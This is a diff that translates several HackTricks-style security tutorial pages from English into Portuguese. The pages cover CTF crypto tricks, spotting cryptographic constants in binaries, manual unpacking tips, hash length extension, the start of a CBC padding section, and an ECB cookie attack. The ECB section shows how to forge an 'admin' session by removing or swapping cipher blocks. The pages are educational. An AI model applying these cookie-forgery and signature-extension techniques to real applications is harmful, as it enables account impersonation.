**Raw Deflate** and **Raw Inflate** (you can find both in Cyberchef) can compress and decompress data without headers.
**Raw Deflate** e **Raw Inflate** (você pode encontrar ambos no Cyberchef) podem comprimir e descomprimir dados sem cabeçalhos.
## Easy Crypto
## Cripto Fácil
### XOR - Autosolver
@ -241,30 +219,25 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
### Bifid
A keywork is needed
Uma palavra-chave é necessária
```
fgaargaamnlunesuneoa
```
### Vigenere
A keywork is needed
Uma palavra-chave é necessária
```
wodsyoidrods
```
- [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)
- [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
- [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
## Strong Crypto
## Cripto Forte
### Fernet
2 base64 strings (token and key)
2 strings base64 (token e chave)
```
Token:
gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==
@ -272,27 +245,24 @@ gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmC
Key:
-s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI=
```
- [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
### Samir Secret Sharing
A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_).
### Compartilhamento Secreto de Samir
Um segredo é dividido em X partes e para recuperá-lo você precisa de Y partes (_Y <=X_).
```
8019f8fa5879aa3e07858d08308dc1a8b45
80223035713295bddf0b0bd1b10a5340b89
803bc8cf294b3f83d88e86d9818792e80cd
```
[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
### OpenSSL brute-force
### Força bruta do OpenSSL
- [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
- [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF)
## Tools
## Ferramentas
- [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
- [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)

View File

@ -1,184 +1,184 @@
# Cryptographic/Compression Algorithms
# Algoritmos Criptográficos/Compressão
## Cryptographic/Compression Algorithms
## Algoritmos Criptográficos/Compressão
{{#include ../../banners/hacktricks-training.md}}
## Identifying Algorithms
## Identificando Algoritmos
If you ends in a code **using shift rights and lefts, xors and several arithmetic operations** it's highly possible that it's the implementation of a **cryptographic algorithm**. Here it's going to be showed some ways to **identify the algorithm that it's used without needing to reverse each step**.
Se você terminar em um código **usando deslocamentos à direita e à esquerda, xors e várias operações aritméticas**, é altamente provável que seja a implementação de um **algoritmo criptográfico**. Aqui serão mostradas algumas maneiras de **identificar o algoritmo que está sendo usado sem precisar reverter cada passo**.
### API functions
### Funções da API
**CryptDeriveKey**
If this function is used, you can find which **algorithm is being used** checking the value of the second parameter:
Se esta função for usada, você pode descobrir qual **algoritmo está sendo usado** verificando o valor do segundo parâmetro:
![](<../../images/image (156).png>)
Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
Verifique aqui a tabela de possíveis algoritmos e seus valores atribuídos: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
**RtlCompressBuffer/RtlDecompressBuffer**
Compresses and decompresses a given buffer of data.
Comprime e descomprime um determinado buffer de dados.
**CryptAcquireContext**
From [the docs](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): The **CryptAcquireContext** function is used to acquire a handle to a particular key container within a particular cryptographic service provider (CSP). **This returned handle is used in calls to CryptoAPI** functions that use the selected CSP.
Dos [docs](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): A função **CryptAcquireContext** é usada para adquirir um identificador para um determinado contêiner de chaves dentro de um determinado provedor de serviços criptográficos (CSP). **Este identificador retornado é usado em chamadas para funções da CryptoAPI** que utilizam o CSP selecionado.
**CryptCreateHash**
Initiates the hashing of a stream of data. If this function is used, you can find which **algorithm is being used** checking the value of the second parameter:
Inicia a hash de um fluxo de dados. Se esta função for usada, você pode descobrir qual **algoritmo está sendo usado** verificando o valor do segundo parâmetro:
![](<../../images/image (549).png>)
\
Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
Verifique aqui a tabela de possíveis algoritmos e seus valores atribuídos: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
### Code constants
### Constantes de código
Sometimes it's really easy to identify an algorithm thanks to the fact that it needs to use a special and unique value.
Às vezes, é realmente fácil identificar um algoritmo graças ao fato de que ele precisa usar um valor especial e único.
![](<../../images/image (833).png>)
If you search for the first constant in Google this is what you get:
Se você pesquisar a primeira constante no Google, isso é o que você obtém:
![](<../../images/image (529).png>)
Therefore, you can assume that the decompiled function is a **sha256 calculator.**\
You can search any of the other constants and you will obtain (probably) the same result.
Portanto, você pode assumir que a função decompilada é um **calculador sha256.**\
Você pode pesquisar qualquer uma das outras constantes e provavelmente obterá o mesmo resultado.
### data info
### informações de dados
If the code doesn't have any significant constant it may be **loading information from the .data section**.\
You can access that data, **group the first dword** and search for it in google as we have done in the section before:
Se o código não tiver nenhuma constante significativa, pode estar **carregando informações da seção .data**.\
Você pode acessar esses dados, **agrupar o primeiro dword** e pesquisar no Google como fizemos na seção anterior:
![](<../../images/image (531).png>)
In this case, if you look for **0xA56363C6** you can find that it's related to the **tables of the AES algorithm**.
Neste caso, se você procurar **0xA56363C6**, pode descobrir que está relacionado às **tabelas do algoritmo AES**.
## RC4 **(Symmetric Crypt)**
## RC4 **(Criptografia Simétrica)**
### Characteristics
### Características
It's composed of 3 main parts:
É composto por 3 partes principais:
- **Initialization stage/**: Creates a **table of values from 0x00 to 0xFF** (256bytes in total, 0x100). This table is commonly call **Substitution Box** (or SBox).
- **Scrambling stage**: Will **loop through the table** crated before (loop of 0x100 iterations, again) creating modifying each value with **semi-random** bytes. In order to create this semi-random bytes, the RC4 **key is used**. RC4 **keys** can be **between 1 and 256 bytes in length**, however it is usually recommended that it is above 5 bytes. Commonly, RC4 keys are 16 bytes in length.
- **XOR stage**: Finally, the plain-text or cyphertext is **XORed with the values created before**. The function to encrypt and decrypt is the same. For this, a **loop through the created 256 bytes** will be performed as many times as necessary. This is usually recognized in a decompiled code with a **%256 (mod 256)**.
- **Estágio de Inicialização/**: Cria uma **tabela de valores de 0x00 a 0xFF** (256bytes no total, 0x100). Esta tabela é comumente chamada de **Caixa de Substituição** (ou SBox).
- **Estágio de Embaralhamento**: Irá **percorrer a tabela** criada anteriormente (loop de 0x100 iterações, novamente) modificando cada valor com bytes **semi-aleatórios**. Para criar esses bytes semi-aleatórios, a **chave RC4 é usada**. As **chaves RC4** podem ter **entre 1 e 256 bytes de comprimento**, no entanto, geralmente é recomendado que seja acima de 5 bytes. Comumente, as chaves RC4 têm 16 bytes de comprimento.
- **Estágio XOR**: Finalmente, o texto simples ou o texto cifrado é **XORed com os valores criados anteriormente**. A função para criptografar e descriptografar é a mesma. Para isso, um **loop pelos 256 bytes criados** será realizado quantas vezes forem necessárias. Isso geralmente é reconhecido em um código decompilado com um **%256 (mod 256)**.
> [!NOTE]
> **In order to identify a RC4 in a disassembly/decompiled code you can check for 2 loops of size 0x100 (with the use of a key) and then a XOR of the input data with the 256 values created before in the 2 loops probably using a %256 (mod 256)**
> **Para identificar um RC4 em um código desassemblado/decompilado, você pode verificar 2 loops de tamanho 0x100 (com o uso de uma chave) e, em seguida, um XOR dos dados de entrada com os 256 valores criados anteriormente nos 2 loops, provavelmente usando um %256 (mod 256)**
### **Initialization stage/Substitution Box:** (Note the number 256 used as counter and how a 0 is written in each place of the 256 chars)
### **Estágio de Inicialização/Caixa de Substituição:** (Note o número 256 usado como contador e como um 0 é escrito em cada lugar dos 256 chars)
![](<../../images/image (584).png>)
### **Scrambling Stage:**
### **Estágio de Embaralhamento:**
![](<../../images/image (835).png>)
### **XOR Stage:**
### **Estágio XOR:**
![](<../../images/image (904).png>)
## **AES (Symmetric Crypt)**
## **AES (Criptografia Simétrica)**
### **Characteristics**
### **Características**
- Use of **substitution boxes and lookup tables**
- It's possible to **distinguish AES thanks to the use of specific lookup table values** (constants). _Note that the **constant** can be **stored** in the binary **or created**_ _**dynamically**._
- The **encryption key** must be **divisible** by **16** (usually 32B) and usually an **IV** of 16B is used.
- Uso de **caixas de substituição e tabelas de consulta**
- É possível **distinguir o AES graças ao uso de valores específicos de tabelas de consulta** (constantes). _Note que a **constante** pode ser **armazenada** no binário **ou criada** _**dinamicamente**._
- A **chave de criptografia** deve ser **divisível** por **16** (geralmente 32B) e geralmente um **IV** de 16B é usado.
### SBox constants
### Constantes SBox
![](<../../images/image (208).png>)
## Serpent **(Symmetric Crypt)**
## Serpent **(Criptografia Simétrica)**
### Characteristics
### Características
- It's rare to find some malware using it but there are examples (Ursnif)
- Simple to determine if an algorithm is Serpent or not based on it's length (extremely long function)
- É raro encontrar algum malware usando, mas há exemplos (Ursnif)
- Simples de determinar se um algoritmo é Serpent ou não com base em seu comprimento (função extremamente longa)
### Identifying
### Identificando
In the following image notice how the constant **0x9E3779B9** is used (note that this constant is also used by other crypto algorithms like **TEA** -Tiny Encryption Algorithm).\
Also note the **size of the loop** (**132**) and the **number of XOR operations** in the **disassembly** instructions and in the **code** example:
Na imagem a seguir, note como a constante **0x9E3779B9** é usada (note que esta constante também é usada por outros algoritmos criptográficos como **TEA** -Tiny Encryption Algorithm).\
Também note o **tamanho do loop** (**132**) e o **número de operações XOR** nas instruções de **desmontagem** e no exemplo de **código**:
![](<../../images/image (547).png>)
As it was mentioned before, this code can be visualized inside any decompiler as a **very long function** as there **aren't jumps** inside of it. The decompiled code can look like the following:
Como mencionado anteriormente, este código pode ser visualizado dentro de qualquer decompilador como uma **função muito longa**, pois **não há saltos** dentro dele. O código decompilado pode parecer o seguinte:
![](<../../images/image (513).png>)
Therefore, it's possible to identify this algorithm checking the **magic number** and the **initial XORs**, seeing a **very long function** and **comparing** some **instructions** of the long function **with an implementation** (like the shift left by 7 and the rotate left by 22).
Portanto, é possível identificar este algoritmo verificando o **número mágico** e os **XORs iniciais**, vendo uma **função muito longa** e **comparando** algumas **instruções** da longa função **com uma implementação** (como o deslocamento à esquerda por 7 e a rotação à esquerda por 22).
## RSA **(Asymmetric Crypt)**
## RSA **(Criptografia Assimétrica)**
### Characteristics
### Características
- More complex than symmetric algorithms
- There are no constants! (custom implementation are difficult to determine)
- KANAL (a crypto analyzer) fails to show hints on RSA ad it relies on constants.
- Mais complexo do que algoritmos simétricos
- Não há constantes! (implementações personalizadas são difíceis de determinar)
- KANAL (um analisador criptográfico) não consegue mostrar dicas sobre RSA, pois depende de constantes.
### Identifying by comparisons
### Identificando por comparações
![](<../../images/image (1113).png>)
- In line 11 (left) there is a `+7) >> 3` which is the same as in line 35 (right): `+7) / 8`
- Line 12 (left) is checking if `modulus_len < 0x040` and in line 36 (right) it's checking if `inputLen+11 > modulusLen`
- Na linha 11 (esquerda) há um `+7) >> 3` que é o mesmo que na linha 35 (direita): `+7) / 8`
- A linha 12 (esquerda) está verificando se `modulus_len < 0x040` e na linha 36 (direita) está verificando se `inputLen+11 > modulusLen`
## MD5 & SHA (hash)
### Characteristics
### Características
- 3 functions: Init, Update, Final
- Similar initialize functions
- 3 funções: Init, Update, Final
- Funções de inicialização semelhantes
### Identify
### Identificar
**Init**
You can identify both of them checking the constants. Note that the sha_init has 1 constant that MD5 doesn't have:
Você pode identificar ambos verificando as constantes. Note que o sha_init tem 1 constante que o MD5 não tem:
![](<../../images/image (406).png>)
**MD5 Transform**
**Transformação MD5**
Note the use of more constants
Note o uso de mais constantes
![](<../../images/image (253) (1) (1).png>)
## CRC (hash)
- Smaller and more efficient as it's function is to find accidental changes in data
- Uses lookup tables (so you can identify constants)
- Menor e mais eficiente, pois sua função é encontrar mudanças acidentais nos dados
- Usa tabelas de consulta (então você pode identificar constantes)
### Identify
### Identificar
Check **lookup table constants**:
Verifique **constantes da tabela de consulta**:
![](<../../images/image (508).png>)
A CRC hash algorithm looks like:
Um algoritmo de hash CRC se parece com:
![](<../../images/image (391).png>)
## APLib (Compression)
## APLib (Compressão)
### Characteristics
### Características
- Not recognizable constants
- You can try to write the algorithm in python and search for similar things online
- Constantes não reconhecíveis
- Você pode tentar escrever o algoritmo em python e procurar por coisas semelhantes online
### Identify
### Identificar
The graph is quiet large:
O gráfico é bastante grande:
![](<../../images/image (207) (2) (1).png>)
Check **3 comparisons to recognise it**:
Verifique **3 comparações para reconhecê-lo**:
![](<../../images/image (430).png>)

View File

@ -1,24 +1,24 @@
{{#include ../../banners/hacktricks-training.md}}
# Identifying packed binaries
# Identificando binários empacotados
- **lack of strings**: It's common to find that packed binaries doesn't have almost any string
- A lot of **unused strings**: Also, when a malware is using some kind of commercial packer it's common to find a lot of strings without cross-references. Even if these strings exist that doesn't mean that the binary isn't packed.
- You can also use some tools to try to find which packer was used to pack a binary:
- [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml)
- [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml)
- [Language 2000](http://farrokhi.net/language/)
- **falta de strings**: É comum encontrar que binários empacotados não têm quase nenhuma string.
- Muitas **strings não utilizadas**: Além disso, quando um malware usa algum tipo de empacotador comercial, é comum encontrar muitas strings sem referências cruzadas. Mesmo que essas strings existam, isso não significa que o binário não esteja empacotado.
- Você também pode usar algumas ferramentas para tentar descobrir qual empacotador foi usado para empacotar um binário:
- [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml)
- [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml)
- [Language 2000](http://farrokhi.net/language/)
# Basic Recommendations
# Recomendações Básicas
- **Start** analysing the packed binary **from the bottom in IDA and move up**. Unpackers exit once the unpacked code exit so it's unlikely that the unpacker passes execution to the unpacked code at the start.
- Search for **JMP's** or **CALLs** to **registers** or **regions** of **memory**. Also search for **functions pushing arguments and an address direction and then calling `retn`**, because the return of the function in that case may call the address just pushed to the stack before calling it.
- Put a **breakpoint** on `VirtualAlloc` as this allocates space in memory where the program can write unpacked code. The "run to user code" or use F8 to **get to value inside EAX** after executing the function and "**follow that address in dump**". You never know if that is the region where the unpacked code is going to be saved.
- **`VirtualAlloc`** with the value "**40**" as an argument means Read+Write+Execute (some code that needs execution is going to be copied here).
- **While unpacking** code it's normal to find **several calls** to **arithmetic operations** and functions like **`memcopy`** or **`Virtual`**`Alloc`. If you find yourself in a function that apparently only perform arithmetic operations and maybe some `memcopy` , the recommendation is to try to **find the end of the function** (maybe a JMP or call to some register) **or** at least the **call to the last function** and run to then as the code isn't interesting.
- While unpacking code **note** whenever you **change memory region** as a memory region change may indicate the **starting of the unpacking code**. You can easily dump a memory region using Process Hacker (process --> properties --> memory).
- While trying to unpack code a good way to **know if you are already working with the unpacked code** (so you can just dump it) is to **check the strings of the binary**. If at some point you perform a jump (maybe changing the memory region) and you notice that **a lot more strings where added**, then you can know **you are working with the unpacked code**.\
However, if the packer already contains a lot of strings you can see how many strings contains the word "http" and see if this number increases.
- When you dump an executable from a region of memory you can fix some headers using [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases).
- **Comece** a analisar o binário empacotado **de baixo para cima no IDA**. Desempacotadores saem uma vez que o código desempacotado sai, então é improvável que o desempacotador passe a execução para o código desempacotado no início.
- Procure por **JMP's** ou **CALLs** para **registradores** ou **regiões** de **memória**. Também procure por **funções que empurram argumentos e uma direção de endereço e depois chamam `retn`**, porque o retorno da função, nesse caso, pode chamar o endereço que foi apenas empurrado para a pilha antes de chamá-lo.
- Coloque um **breakpoint** em `VirtualAlloc`, pois isso aloca espaço na memória onde o programa pode escrever código desempacotado. "executar até o código do usuário" ou use F8 para **obter o valor dentro de EAX** após executar a função e "**seguir aquele endereço no dump**". Você nunca sabe se essa é a região onde o código desempacotado será salvo.
- **`VirtualAlloc`** com o valor "**40**" como argumento significa Ler+Escrever+Executar (algum código que precisa de execução será copiado aqui).
- **Enquanto desempacota** código, é normal encontrar **várias chamadas** para **operações aritméticas** e funções como **`memcopy`** ou **`Virtual`**`Alloc`. Se você se encontrar em uma função que aparentemente apenas realiza operações aritméticas e talvez algum `memcopy`, a recomendação é tentar **encontrar o final da função** (talvez um JMP ou chamada para algum registrador) **ou** pelo menos a **chamada para a última função** e executar até lá, pois o código não é interessante.
- Enquanto desempacota código, **note** sempre que você **muda a região de memória**, pois uma mudança de região de memória pode indicar o **início do código desempacotado**. Você pode facilmente despejar uma região de memória usando o Process Hacker (processo --> propriedades --> memória).
- Enquanto tenta desempacotar código, uma boa maneira de **saber se você já está trabalhando com o código desempacotado** (para que você possa apenas despejá-lo) é **verificar as strings do binário**. Se em algum momento você realizar um salto (talvez mudando a região de memória) e notar que **muitas mais strings foram adicionadas**, então você pode saber **que está trabalhando com o código desempacotado**.\
No entanto, se o empacotador já contém muitas strings, você pode ver quantas strings contêm a palavra "http" e verificar se esse número aumenta.
- Quando você despeja um executável de uma região de memória, pode corrigir alguns cabeçalhos usando [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,72 +2,66 @@
# ECB
(ECB) Electronic Code Book - symmetric encryption scheme which **replaces each block of the clear text** by the **block of ciphertext**. It is the **simplest** encryption scheme. The main idea is to **split** the clear text into **blocks of N bits** (depends on the size of the block of input data, encryption algorithm) and then to encrypt (decrypt) each block of clear text using the only key.
(ECB) Electronic Code Book - esquema de criptografia simétrica que **substitui cada bloco do texto claro** pelo **bloco de texto cifrado**. É o esquema de criptografia **mais simples**. A ideia principal é **dividir** o texto claro em **blocos de N bits** (depende do tamanho do bloco de dados de entrada, algoritmo de criptografia) e então criptografar (descriptografar) cada bloco do texto claro usando a única chave.
![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png)
Using ECB has multiple security implications:
Usar ECB tem múltiplas implicações de segurança:
- **Blocks from encrypted message can be removed**
- **Blocks from encrypted message can be moved around**
- **Blocos da mensagem criptografada podem ser removidos**
- **Blocos da mensagem criptografada podem ser movidos**
# Detection of the vulnerability
# Detecção da vulnerabilidade
Imagine you login into an application several times and you **always get the same cookie**. This is because the cookie of the application is **`<username>|<password>`**.\
Then, you generate to new users, both of them with the **same long password** and **almost** the **same** **username**.\
You find out that the **blocks of 8B** where the **info of both users** is the same are **equals**. Then, you imagine that this might be because **ECB is being used**.
Like in the following example. Observe how these** 2 decoded cookies** has several times the block **`\x23U\xE45K\xCB\x21\xC8`**
Imagine que você faz login em um aplicativo várias vezes e **sempre recebe o mesmo cookie**. Isso ocorre porque o cookie do aplicativo é **`<username>|<password>`**.\
Então, você gera dois novos usuários, ambos com a **mesma senha longa** e **quase** o **mesmo** **nome de usuário**.\
Você descobre que os **blocos de 8B** onde as **informações de ambos os usuários** são as mesmas são **iguais**. Então, você imagina que isso pode ser porque **ECB está sendo usado**.
Como no exemplo a seguir. Observe como esses **2 cookies decodificados** têm várias vezes o bloco **`\x23U\xE45K\xCB\x21\xC8`**.
```
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
```
Isto é porque o **nome de usuário e a senha desses cookies continham várias vezes a letra "a"** (por exemplo). Os **blocos** que são **diferentes** são blocos que continham **pelo menos 1 caractere diferente** (talvez o delimitador "|" ou alguma diferença necessária no nome de usuário).
This is because the **username and password of those cookies contained several times the letter "a"** (for example). The **blocks** that are **different** are blocks that contained **at least 1 different character** (maybe the delimiter "|" or some necessary difference in the username).
Agora, o atacante só precisa descobrir se o formato é `<username><delimiter><password>` ou `<password><delimiter><username>`. Para fazer isso, ele pode apenas **gerar vários nomes de usuário** com **nomes de usuário e senhas longos e semelhantes até encontrar o formato e o comprimento do delimitador:**
Now, the attacker just need to discover if the format is `<username><delimiter><password>` or `<password><delimiter><username>`. For doing that, he can just **generate several usernames **with s**imilar and long usernames and passwords until he find the format and the length of the delimiter:**
| Comprimento do nome de usuário: | Comprimento da senha: | Comprimento do nome de usuário+senha: | Comprimento do cookie (após decodificação): |
| ------------------------------- | --------------------- | ------------------------------------- | ------------------------------------------- |
| 2 | 2 | 4 | 8 |
| 3 | 3 | 6 | 8 |
| 3 | 4 | 7 | 8 |
| 4 | 4 | 8 | 16 |
| 7 | 7 | 14 | 16 |
| Username length: | Password length: | Username+Password length: | Cookie's length (after decoding): |
| ---------------- | ---------------- | ------------------------- | --------------------------------- |
| 2 | 2 | 4 | 8 |
| 3 | 3 | 6 | 8 |
| 3 | 4 | 7 | 8 |
| 4 | 4 | 8 | 16 |
| 7 | 7 | 14 | 16 |
# Exploração da vulnerabilidade
# Exploitation of the vulnerability
## Removing entire blocks
Knowing the format of the cookie (`<username>|<password>`), in order to impersonate the username `admin` create a new user called `aaaaaaaaadmin` and get the cookie and decode it:
## Removendo blocos inteiros
Sabendo o formato do cookie (`<username>|<password>`), para se passar pelo nome de usuário `admin`, crie um novo usuário chamado `aaaaaaaaadmin` e obtenha o cookie e decodifique-o:
```
\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
```
We can see the pattern `\x23U\xE45K\xCB\x21\xC8` created previously with the username that contained only `a`.\
Then, you can remove the first block of 8B and you will et a valid cookie for the username `admin`:
Podemos ver o padrão `\x23U\xE45K\xCB\x21\xC8` criado anteriormente com o nome de usuário que continha apenas `a`.\
Então, você pode remover o primeiro bloco de 8B e obterá um cookie válido para o nome de usuário `admin`:
```
\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
```
## Movendo blocos
## Moving blocks
Em muitos bancos de dados, é o mesmo procurar por `WHERE username='admin';` ou por `WHERE username='admin ';` _(Note os espaços extras)_
In many databases it is the same to search for `WHERE username='admin';` or for `WHERE username='admin ';` _(Note the extra spaces)_
Assim, outra maneira de se passar pelo usuário `admin` seria:
So, another way to impersonate the user `admin` would be to:
- Gerar um nome de usuário que: `len(<username>) + len(<delimiter) % len(block)`. Com um tamanho de bloco de `8B`, você pode gerar um nome de usuário chamado: `username `, com o delimitador `|`, o bloco `<username><delimiter>` gerará 2 blocos de 8Bs.
- Em seguida, gerar uma senha que preencherá um número exato de blocos contendo o nome de usuário que queremos imitar e espaços, como: `admin `
- Generate a username that: `len(<username>) + len(<delimiter) % len(block)`. With a block size of `8B` you can generate username called: `username `, with the delimiter `|` the chunk `<username><delimiter>` will generate 2 blocks of 8Bs.
- Then, generate a password that will fill an exact number of blocks containing the username we want to impersonate and spaces, like: `admin `
O cookie deste usuário será composto por 3 blocos: os primeiros 2 são os blocos do nome de usuário + delimitador e o terceiro da senha (que está falsificando o nome de usuário): `username |admin `
The cookie of this user is going to be composed by 3 blocks: the first 2 is the blocks of the username + delimiter and the third one of the password (which is faking the username): `username |admin `
**Então, basta substituir o primeiro bloco pelo último e você estará se passando pelo usuário `admin`: `admin |username`**
**Then, just replace the first block with the last time and will be impersonating the user `admin`: `admin |username`**
## References
## Referências
- [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](<http://cryptowiki.net/index.php?title=Electronic_Code_Book_(ECB)>)

View File

@ -1,18 +1,16 @@
# Esoteric languages
# Linguagens Esotéricas
{{#include ../banners/hacktricks-training.md}}
## [Esolangs Wiki](https://esolangs.org/wiki/Main_Page)
Check that wiki to search more esotreic languages
Verifique essa wiki para procurar mais linguagens esotéricas
## Malbolge
```
('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}=<M:9wv6WsU2T|nm-,jcL(I&%$#"
`CB]V?Tx<uVtT`Rpo3NlF.Jh++FdbCBA@?]!~|4XzyTT43Qsqq(Lnmkj"Fhg${z@>
```
[http://malbolge.doleczek.pl/](http://malbolge.doleczek.pl)
## npiet
@ -22,7 +20,6 @@ Check that wiki to search more esotreic languages
[https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php)
## Rockstar
```
Midnight takes your heart and your soul
While your heart is as high as your soul
@ -51,11 +48,9 @@ Take it to the top
Whisper my world
```
{% embed url="https://codewithrockstar.com/" %}
## PETOOH
```
KoKoKoKoKoKoKoKoKoKo Kud-Kudah
KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah
@ -65,5 +60,4 @@ KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek
kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO
Kukarek
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,37 +2,37 @@
{{#include ../banners/hacktricks-training.md}}
## Summary of the attack
## Resumo do ataque
Imagine a server which is **signing** some **data** by **appending** a **secret** to some known clear text data and then hashing that data. If you know:
Imagine um servidor que está **assinando** alguns **dados** ao **anexar** um **segredo** a alguns dados de texto claro conhecidos e, em seguida, hashando esses dados. Se você souber:
- **The length of the secret** (this can be also bruteforced from a given length range)
- **The clear text data**
- **The algorithm (and it's vulnerable to this attack)**
- **The padding is known**
- Usually a default one is used, so if the other 3 requirements are met, this also is
- The padding vary depending on the length of the secret+data, that's why the length of the secret is needed
- **O comprimento do segredo** (isso também pode ser forçado a partir de um intervalo de comprimento dado)
- **Os dados de texto claro**
- **O algoritmo (e ele é vulnerável a este ataque)**
- **O padding é conhecido**
- Normalmente, um padrão padrão é usado, então se os outros 3 requisitos forem atendidos, isso também é
- O padding varia dependendo do comprimento do segredo + dados, é por isso que o comprimento do segredo é necessário
Then, it's possible for an **attacker** to **append** **data** and **generate** a valid **signature** for the **previous data + appended data**.
Então, é possível para um **atacante** **anexar** **dados** e **gerar** uma **assinatura** válida para os **dados anteriores + dados anexados**.
### How?
### Como?
Basically the vulnerable algorithms generate the hashes by firstly **hashing a block of data**, and then, **from** the **previously** created **hash** (state), they **add the next block of data** and **hash it**.
Basicamente, os algoritmos vulneráveis geram os hashes primeiro **hashando um bloco de dados**, e então, **a partir do** **hash** **anteriormente** criado (estado), eles **adicionam o próximo bloco de dados** e **hasham**.
Then, imagine that the secret is "secret" and the data is "data", the MD5 of "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\
If an attacker wants to append the string "append" he can:
Então, imagine que o segredo é "segredo" e os dados são "dados", o MD5 de "segredodados" é 6036708eba0d11f6ef52ad44e8b74d5b.\
Se um atacante quiser anexar a string "anexar", ele pode:
- Generate a MD5 of 64 "A"s
- Change the state of the previously initialized hash to 6036708eba0d11f6ef52ad44e8b74d5b
- Append the string "append"
- Finish the hash and the resulting hash will be a **valid one for "secret" + "data" + "padding" + "append"**
- Gerar um MD5 de 64 "A"s
- Mudar o estado do hash previamente inicializado para 6036708eba0d11f6ef52ad44e8b74d5b
- Anexar a string "anexar"
- Finalizar o hash e o hash resultante será um **válido para "segredo" + "dados" + "padding" + "anexar"**
### **Tool**
### **Ferramenta**
{% embed url="https://github.com/iagox86/hash_extender" %}
### References
### Referências
You can find this attack good explained in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
Você pode encontrar este ataque bem explicado em [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,26 +2,24 @@
{{#include ../banners/hacktricks-training.md}}
{% embed url="https://websec.nl/" %}
## CBC - Cipher Block Chaining
In CBC mode the **previous encrypted block is used as IV** to XOR with the next block:
No modo CBC, o **bloco criptografado anterior é usado como IV** para XOR com o próximo bloco:
![https://defuse.ca/images/cbc_encryption.png](https://defuse.ca/images/cbc_encryption.png)
To decrypt CBC the **opposite** **operations** are done:
Para descriptografar CBC, as **operações** **opostas** são realizadas:
![https://defuse.ca/images/cbc_decryption.png](https://defuse.ca/images/cbc_decryption.png)
Notice how it's needed to use an **encryption** **key** and an **IV**.
Observe como é necessário usar uma **chave de criptografia** e um **IV**.
## Message Padding
As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.\
Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`.
Como a criptografia é realizada em **blocos** de **tamanho fixo**, o **padding** geralmente é necessário no **último** **bloco** para completar seu comprimento.\
